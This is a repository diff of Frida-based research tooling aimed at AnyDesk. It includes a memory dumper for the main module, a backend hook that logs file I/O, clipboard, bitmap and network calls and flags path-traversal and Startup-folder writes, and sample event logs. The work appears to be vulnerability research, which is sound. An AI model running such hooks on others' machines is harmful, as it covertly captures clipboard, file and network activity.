{
"t": "write",
"sz": 138,
"tags": [
"STR: info 2026-03-17 22:05:15.087 lsvc 18852 2452 112 "
],
"ts": 1773785115087,
"pid": 18852
},
{
"t": "write",
"sz": 136,
"tags": [
"STR: info 2026-03-17 22:05:15.089 lsvc 18852 2452 112 "
],
"ts": 1773785115089,
"pid": 18852
},
{
"t": "write",
"sz": 132,
"tags": [
"STR: info 2026-03-17 22:05:15.089 lsvc 18852 2452 2 "
],
"ts": 1773785115089,
"pid": 18852
},
{
"t": "write",
"sz": 118,
"tags": [
"STR: info 2026-03-17 22:05:15.914 lsvc 18852 2452 2 "
],
"ts": 1773785115914,
"pid": 18852
},
{
"t": "write",
"sz": 153,
"tags": [
"STR: info 2026-03-17 22:05:15.914 lsvc 18852 2452 2 "
],
"ts": 1773785115914,
"pid": 18852
},
{
"t": "write",
"sz": 129,
"tags": [
"STR: info 2026-03-17 22:05:15.916 lsvc 18852 2452 115 "
],
"ts": 1773785115916,
"pid": 18852
},
{
"t": "write",
"sz": 130,
"tags": [
"STR: info 2026-03-17 22:05:15.917 lsvc 18852 2452 115 "
],
"ts": 1773785115917,
"pid": 18852
},
{
"t": "write",
"sz": 122,
"tags": [
"STR: info 2026-03-17 22:05:15.920 lsvc 18852 2452 115 "
],
"ts": 1773785115920,
"pid": 18852
},
{
"t": "write",
"sz": 126,
"tags": [
"STR: info 2026-03-17 22:05:16.163 lsvc 18852 2452 112 "
],
"ts": 1773785116163,
"pid": 18852
},
{
"t": "write",
"sz": 137,
"tags": [
"STR: info 2026-03-17 22:05:16.240 lsvc 18852 2452 112 "
],
"ts": 1773785116240,
"pid": 18852
},
{
"t": "write",
"sz": 123,
"tags": [
"STR: info 2026-03-17 22:05:16.240 lsvc 18852 2452 112 "
],
"ts": 1773785116240,
"pid": 18852
},
{
"t": "write",
"sz": 122,
"tags": [
"STR: info 2026-03-17 22:05:16.242 lsvc 18852 2452 112 "
],
"ts": 1773785116242,
"pid": 18852
},
{
"t": "net",
"d": "S",
"sz": 4132,
"n": 5,
"ts": 1773785116246,
"pid": 18852
},
{
"t": "net",
"d": "S",
"sz": 4128,
"n": 6,
"ts": 1773785116246,
"pid": 18852
},
{
"t": "net",
"d": "S",
"sz": 3238,
"n": 7,
"ts": 1773785116246,
"pid": 18852
},
{
"t": "net",
"d": "R",
"sz": 5,
"n": 11,
"ts": 1773785116266,
"pid": 18852
},
{
"t": "net",
"d": "R",
"sz": 39,
"n": 12,
"ts": 1773785116266,
"pid": 18852
},
{
"t": "write",
"sz": 141,
"tags": [
"STR: auth 2026-03-17 22:05:17.927 lsvc 18852 2452 112 "
],
"ts": 1773785117927,
"pid": 18852
},
{
"t": "net",
"d": "S",
"sz": 34,
"n": 8,
"ts": 1773785117928,
"pid": 18852
},
{
"t": "net",
"d": "S",
"sz": 32,
"n": 9,
"ts": 1773785117928,
"pid": 18852
},
{
"t": "write",
"sz": 119,
"tags": [
"STR: info 2026-03-17 22:05:17.928 lsvc 18852 2452 2 "
],
"ts": 1773785117928,
"pid": 18852
},
{
"t": "write",
"sz": 117,
"tags": [
"STR: info 2026-03-17 22:05:21.001 lsvc 18852 2452 115 "
],
"ts": 1773785121001,
"pid": 18852
},
{
"t": "write",
"sz": 116,
"tags": [
"STR: info 2026-03-17 22:05:24.004 lsvc 18852 2452 115 "
],
"ts": 1773785124004,
"pid": 18852
},
{
"t": "write",
"sz": 149,
"tags": [
"STR: info 2026-03-17 22:05:27.015 lsvc 18852 2452 "
],
"ts": 1773785127015,
"pid": 18852
},
{
"t": "write",
"sz": 118,
"tags": [
"STR: info 2026-03-17 22:05:30.027 lsvc 18852 2452 112 "
],
"ts": 1773785130027,
"pid": 18852
},
{
"t": "write",
"sz": 141,
"tags": [
"STR: info 2026-03-17 22:05:33.029 lsvc 18852 2452 112 "
],
"ts": 1773785133029,
"pid": 18852
},
{
"t": "write",
"sz": 118,
"tags": [
"STR: info 2026-03-17 22:05:36.033 lsvc 18852 2452 112 "
],
"ts": 1773785136033,
"pid": 18852
},
{
"t": "file",
"op": "Create",
"path": "C:\\Users\\desktop.ini",
"w": false,
"c": false,
"fl": [],
"ts": 1773785136035,
"pid": 18852
},
{
"t": "file",
"op": "Create",
"path": "C:\\Users\\Mes\\Downloads\\desktop.ini",
"w": false,
"c": false,
"fl": [],
"ts": 1773785136036,
"pid": 18852
},
{
"t": "file",
"op": "Create",
"path": "C:\\Users\\Mes\\Downloads",
"w": false,
"c": false,
"fl": [],
"ts": 1773785136037,
"pid": 18852
},
{
"t": "file",
"op": "Create",
"path": "C:\\Users\\Mes\\Downloads\\AnyDesk.exe\\",
"w": false,
"c": false,
"fl": [],
"ts": 1773785136045,
"pid": 18852
},
{
"t": "file",
"op": "Create",
"path": "C:\\Users\\Mes\\Downloads\\",
"w": false,
"c": false,
"fl": [],
"ts": 1773785136045,
"pid": 18852
},
{
"t": "file",
"op": "Create",
"path": "C:\\Users\\Mes\\Downloads\\",
"w": false,
"c": false,
"fl": [],
"ts": 1773785136045,
"pid": 18852
}
]
}
@@ -0,0 +1,15 @@
{
"capture_time": "2026-03-17T21:29:09.787972",
"duration": 171.0004379749298,
"ssl_info": null,
"total_raw_packets": 0,
"total_decrypted_packets": 0,
"total_file_ops": 0,
"total_clipboard_ops": 0,
"total_bitmap_ops": 0,
"alerts": [],
"decrypted_packets": [],
"file_ops": [],
"clipboard_ops": [],
"bitmap_ops": []
}
+86
View File
@@ -0,0 +1,86 @@
"""Find the correct Frida API for this version"""
import frida, subprocess, time
out = subprocess.check_output(
['tasklist','/FI','IMAGENAME eq AnyDesk.exe','/FO','CSV','/NH'],
text=True, stderr=subprocess.DEVNULL)
pid = None
for line in out.strip().split('\n'):
if 'AnyDesk' in line:
parts = line.strip().strip('"').split('","')
pid = int(parts[1].strip('"')); break
print(f"PID: {pid}, Frida: {frida.__version__}")
session = frida.attach(pid)
done = False
def on_msg(msg, data):
global done
print(f" {msg.get('payload', msg)}")
if msg.get('type') == 'send' and msg.get('payload','').startswith('DONE'):
done = True
# Test with V8
print("\n=== V8 runtime ===")
s = session.create_script("""
// What does Module look like?
send("typeof Module = " + typeof Module);
try { send("Module keys = " + Object.keys(Module).join(", ")); } catch(e) { send("Module keys err: " + e.message); }
try { send("Module.findExportByName = " + typeof Module.findExportByName); } catch(e) { send("err: " + e.message); }
// Try Process approach
send("typeof Process = " + typeof Process);
try { send("Process keys = " + Object.getOwnPropertyNames(Process).join(", ")); } catch(e) { send("Process keys err: " + e.message); }
try {
var m = Process.getModuleByName("KERNEL32.DLL");
send("kernel32 = " + m);
send("kernel32 keys = " + Object.getOwnPropertyNames(m).join(", "));
send("getExportByName type = " + typeof m.getExportByName);
if (typeof m.findExportByName === 'function') {
var a = m.findExportByName("CreateFileW");
send("findExportByName CreateFileW = " + a);
}
if (typeof m.getExportByName === 'function') {
var b = m.getExportByName("CreateFileW");
send("getExportByName CreateFileW = " + b);
}
} catch(e) { send("Process.getModuleByName err: " + e.message); }
// Try the way the recon script did it (which worked)
try {
var mods = Process.enumerateModules();
var k32 = null;
for (var i = 0; i < mods.length; i++) {
if (mods[i].name === 'KERNEL32.DLL') { k32 = mods[i]; break; }
}
if (k32) {
send("k32 via enumerate = " + k32.name + " @ " + k32.base);
send("k32 keys = " + Object.getOwnPropertyNames(k32).join(", "));
var exps = k32.enumerateExports();
var cf = null;
for (var j = 0; j < exps.length; j++) {
if (exps[j].name === 'CreateFileW') { cf = exps[j]; break; }
}
if (cf) {
send("CreateFileW via enumerate = " + cf.address + " type=" + cf.type);
// Now try Interceptor.attach with this address
try {
Interceptor.attach(cf.address, { onEnter: function(a) {} });
send("INTERCEPTOR ATTACH SUCCESS!");
} catch(e2) {
send("Interceptor.attach fail: " + e2.message);
}
}
}
} catch(e) { send("enumerate err: " + e.message); }
send("DONE");
""", runtime='v8')
s.on('message', on_msg)
s.load()
for _ in range(100):
if done: break
time.sleep(0.1)
s.unload()
session.detach()
+140
View File
@@ -0,0 +1,140 @@
"""
Dump AnyDesk's main module from memory — uses Frida's module info directly.
"""
import frida
import sys
import subprocess
import time
AGENT = r"""
var mainMod = Process.enumerateModules()[0];
send({t:'info', msg: 'Module: ' + mainMod.name + ' @ ' + mainMod.base + ' size: ' + mainMod.size});
// Check if the base has a PE header
var mz = mainMod.base.readU16();
send({t:'info', msg: 'MZ check: 0x' + mz.toString(16) + (mz === 0x5A4D ? ' (valid)' : ' (invalid)')});
if (mz === 0x5A4D) {
var peOff = mainMod.base.add(0x3C).readU32();
var peSig = mainMod.base.add(peOff).readU32();
send({t:'info', msg: 'PE sig: 0x' + peSig.toString(16)});
var numSections = mainMod.base.add(peOff + 6).readU16();
var sizeOfImage = mainMod.base.add(peOff + 0x50).readU32();
var sizeOfHeaders = mainMod.base.add(peOff + 0x54).readU32();
send({t:'info', msg: 'Sections: ' + numSections + ', SizeOfImage: ' + sizeOfImage + ', HeaderSize: ' + sizeOfHeaders});
// Read section table to find real extent
var optHeaderSize = mainMod.base.add(peOff + 0x14).readU16();
var sectionTableOff = peOff + 0x18 + optHeaderSize;
var maxEnd = 0;
for (var i = 0; i < numSections; i++) {
var secBase = mainMod.base.add(sectionTableOff + i * 40);
var nameBytes = secBase.readByteArray(8);
var nameArr = new Uint8Array(nameBytes);
var name = '';
for (var j = 0; j < 8; j++) { if (nameArr[j] === 0) break; name += String.fromCharCode(nameArr[j]); }
var virtualSize = secBase.add(8).readU32();
var virtualAddr = secBase.add(12).readU32();
var rawSize = secBase.add(16).readU32();
var chars = secBase.add(36).readU32();
var end = virtualAddr + virtualSize;
if (end > maxEnd) maxEnd = end;
send({t:'section', name: name.replace(/\0/g,''), va: '0x'+virtualAddr.toString(16),
vs: virtualSize, rs: rawSize, chars: '0x'+chars.toString(16)});
}
send({t:'info', msg: 'Max section end: 0x' + maxEnd.toString(16) + ' (' + maxEnd + ' bytes)'});
}
// Dump the full module
var dumpSize = mainMod.size;
send({t:'info', msg: 'Dumping ' + dumpSize + ' bytes...'});
var chunkSize = 512 * 1024; // 512KB chunks
var offset = 0;
while (offset < dumpSize) {
var readSize = Math.min(chunkSize, dumpSize - offset);
try {
var data = mainMod.base.add(offset).readByteArray(readSize);
send({t:'chunk', offset: offset}, data);
} catch(e) {
send({t:'info', msg: 'Failed at offset 0x' + offset.toString(16) + ': ' + e});
var zeros = new ArrayBuffer(readSize);
send({t:'chunk', offset: offset}, zeros);
}
offset += readSize;
}
send({t:'done', size: dumpSize});
"""
def find_pid():
out = subprocess.check_output(
['tasklist', '/FI', 'IMAGENAME eq AnyDesk.exe', '/FO', 'CSV', '/NH'],
text=True, stderr=subprocess.DEVNULL)
for line in out.strip().split('\n'):
if 'AnyDesk' in line:
parts = line.strip().strip('"').split('","')
if len(parts) >= 2:
return int(parts[1].strip('"'))
return None
def main():
print("=" * 60)
print(" AnyDesk Memory Dumper v2")
print("=" * 60)
pid = find_pid()
if not pid:
print("[!] AnyDesk not running")
sys.exit(1)
print(f"[+] Attaching to PID {pid}")
dump_data = bytearray()
dump_size = [0]
done = [False]
def on_msg(msg, data):
if msg['type'] == 'send':
p = msg['payload']
if p['t'] == 'info':
print(f" [*] {p['msg']}")
elif p['t'] == 'section':
print(f" [SEC] {p['name']:8s} VA={p['va']} VSize={p['vs']:>10,} RawSize={p['rs']:>10,} Chars={p['chars']}")
elif p['t'] == 'chunk' and data:
offset = p['offset']
if len(dump_data) < offset + len(data):
dump_data.extend(b'\x00' * (offset + len(data) - len(dump_data)))
dump_data[offset:offset+len(data)] = data
mb = (offset + len(data)) / 1024 / 1024
print(f" [DUMP] {mb:.1f} MB...", end='\r')
elif p['t'] == 'done':
dump_size[0] = p['size']
done[0] = True
print(f"\n [+] Dump complete: {p['size']:,} bytes")
elif msg['type'] == 'error':
print(f" [!] {msg['description']}")
session = frida.attach(pid)
script = session.create_script(AGENT, runtime='v8')
script.on('message', on_msg)
script.load()
for _ in range(1200): # 2 min timeout
if done[0]: break
time.sleep(0.1)
script.unload()
session.detach()
if dump_data:
outpath = f"anydesk_dump_{pid}.bin"
with open(outpath, 'wb') as f:
f.write(dump_data)
print(f"\n[+] Saved: {outpath} ({len(dump_data):,} bytes)")
print(f"[+] Load in Ghidra: mcp__ghidra__analyze_binary with this file")
else:
print("[!] No data dumped")
if __name__ == '__main__':
main()
+164
View File
@@ -0,0 +1,164 @@
"""
Hook AnyDesk backend process — monitors file I/O, bitmaps, clipboard.
Usage: python hook_backend.py <PID>
Must run as Administrator (backend runs as SYSTEM).
"""
import frida
import sys
import time
import json
from datetime import datetime
AGENT = r"""
var hc = 0;
function gx(mod, name) {
try { var m = Process.findModuleByName(mod); return m ? m.findExportByName(name) : null; }
catch(e) { return null; }
}
// --- CreateFileW ---
var a1 = gx('KERNEL32.DLL', 'CreateFileW');
if (a1) { Interceptor.attach(a1, { onEnter: function(args) { try {
var path = args[0].readUtf16String(); if (!path) return;
var pl = path.toLowerCase();
if (pl.indexOf('\\device\\')!==-1||pl.indexOf('\\pipe\\')!==-1||pl.indexOf('condrv')!==-1) return;
var access = args[1].toInt32()>>>0, disp = args[4].toInt32();
var isW = (access&0x40000000)!==0||(access&0x2)!==0;
var isC = disp===1||disp===2||disp===4;
var fl=[];
if(path.indexOf('..\\')!==-1) fl.push('TRAV_BS');
if(path.indexOf('../')!==-1) fl.push('TRAV_FS');
if(pl.indexOf('startup')!==-1) fl.push('STARTUP');
send({t:'F', path:path, w:isW, c:isC, fl:fl});
} catch(e){} }}); hc++; }
// --- WriteFile ---
var a2 = gx('KERNEL32.DLL', 'WriteFile');
if (a2) { Interceptor.attach(a2, { onEnter: function(args) { try {
var sz = args[2].toInt32();
if (sz > 32) {
var preview = args[1].readByteArray(Math.min(sz, 128));
var arr = new Uint8Array(preview);
var str = '';
for (var i = 0; i < Math.min(arr.length, 128); i++) {
var b = arr[i];
str += (b >= 0x20 && b < 0x7f) ? String.fromCharCode(b) : '.';
}
send({t:'W', sz:sz, preview:str});
}
} catch(e){} }}); hc++; }
// --- MoveFileExW ---
var a3 = gx('KERNEL32.DLL', 'MoveFileExW');
if (a3) { Interceptor.attach(a3, { onEnter: function(args) { try {
send({t:'M', src:args[0].readUtf16String(), dst:args[1].readUtf16String()});
} catch(e){} }}); hc++; }
// --- CreateDIBSection (DeskRT output) ---
var a4 = gx('GDI32.dll', 'CreateDIBSection');
if (a4) { Interceptor.attach(a4, { onEnter: function(args) { try {
var p = args[1]; if (p.isNull()) return;
var w=p.add(4).readS32(), h=p.add(8).readS32(), bpp=p.add(14).readU16();
send({t:'B', w:w, h:h, bpp:bpp, alloc:Math.abs(w)*Math.abs(h)*(bpp/8)});
} catch(e){} }}); hc++; }
// --- Clipboard ---
var a5 = gx('USER32.dll', 'SetClipboardData');
if (a5) { Interceptor.attach(a5, { onEnter: function(args) {
send({t:'C', op:'SET', fmt:args[0].toInt32()});
}}); hc++; }
var a6 = gx('USER32.dll', 'GetClipboardData');
if (a6) { Interceptor.attach(a6, { onEnter: function(args) { this.f=args[0].toInt32(); },
onLeave: function(r) { if(!r.isNull()) send({t:'C', op:'GET', fmt:this.f}); }
}); hc++; }
// --- send/recv on backend too ---
var sc=0, rc=0;
var a7 = gx('WS2_32.dll', 'send');
if (a7) { Interceptor.attach(a7, { onLeave: function(r) { var n=r.toInt32(); if(n>0){sc++;if(sc<=10||sc%50===0)send({t:'N',d:'S',sz:n,n:sc});}}}); hc++; }
var a8 = gx('WS2_32.dll', 'recv');
if (a8) { Interceptor.attach(a8, { onLeave: function(r) { var n=r.toInt32(); if(n>0){rc++;if(rc<=10||rc%50===0)send({t:'N',d:'R',sz:n,n:rc});}}}); hc++; }
send({t:'log', m:hc+' hooks on backend'});
"""
def main():
if len(sys.argv) < 2:
print("Usage: python hook_backend.py <PID>")
print("Run as Administrator!")
sys.exit(1)
pid = int(sys.argv[1])
print(f"[+] Attaching to backend PID {pid}...")
cfn = {1:'TEXT',2:'BITMAP',8:'DIB',13:'UNICODE',15:'HDROP',17:'DIBV5'}
t0 = time.time()
events = []
def on_msg(msg, data):
if msg['type'] != 'send':
print(f" [!] {msg.get('description','error')}")
return
p = msg['payload']
t = p.get('t','')
ts = time.time() - t0
if t == 'log':
print(f" [*] {p['m']}")
elif t == 'F':
fl = ' '.join(f'[{f}]' for f in p.get('fl',[]))
mode = ('W' if p['w'] else 'R') + ('+C' if p['c'] else '')
print(f" [{ts:7.2f}s] [FILE {mode:4s}] {p['path']} {fl}")
events.append(p)
elif t == 'W':
# Only show interesting writes (not log lines)
if 'info 2026' not in p['preview'] and 'warning 2026' not in p['preview']:
print(f" [{ts:7.2f}s] [WRITE {p['sz']:6d}b] {p['preview'][:80]}")
events.append(p)
elif t == 'M':
print(f" [{ts:7.2f}s] [MOVE] {p['src']} -> {p['dst']}")
events.append(p)
elif t == 'B':
print(f" [{ts:7.2f}s] [BITMAP] {p['w']}x{p['h']} @{p['bpp']}bpp ({p['alloc']:,.0f}b)")
events.append(p)
elif t == 'C':
fn = cfn.get(p['fmt'], f"FMT{p['fmt']}")
print(f" [{ts:7.2f}s] [CLIP] {p['op']} {fn}")
events.append(p)
elif t == 'N':
print(f" [{ts:7.2f}s] [NET] {p['d']} {p['sz']}b #{p['n']}")
try:
session = frida.attach(pid)
except Exception as e:
print(f"[!] Failed: {e}")
print("[!] Run as Administrator — backend runs as SYSTEM")
sys.exit(1)
script = session.create_script(AGENT, runtime='v8')
script.on('message', on_msg)
script.load()
time.sleep(1)
print(f"\n{'='*60}")
print(" Backend hooked. Now:")
print(" 1. Use AnyDesk file transfer to send a file")
print(" 2. Copy/paste between machines")
print(" 3. Move mouse (DeskRT frames)")
print(" Ctrl+C to stop")
print(f"{'='*60}\n")
try:
while True: time.sleep(0.1)
except KeyboardInterrupt:
print("\n[+] Stopping...")
out = f"backend_{pid}_{datetime.now().strftime('%H%M%S')}.json"
with open(out, 'w') as f:
json.dump(events, f, indent=2)
print(f"[+] {len(events)} events -> {out}")
session.detach()
if __name__ == '__main__':
main()
File diff suppressed because it is too large Load Diff
+2
View File
@@ -0,0 +1,2 @@
frida
frida-tools
Binary file not shown.
Submodule
+1
Submodule tools/xeno-og added at 87ae4f96f8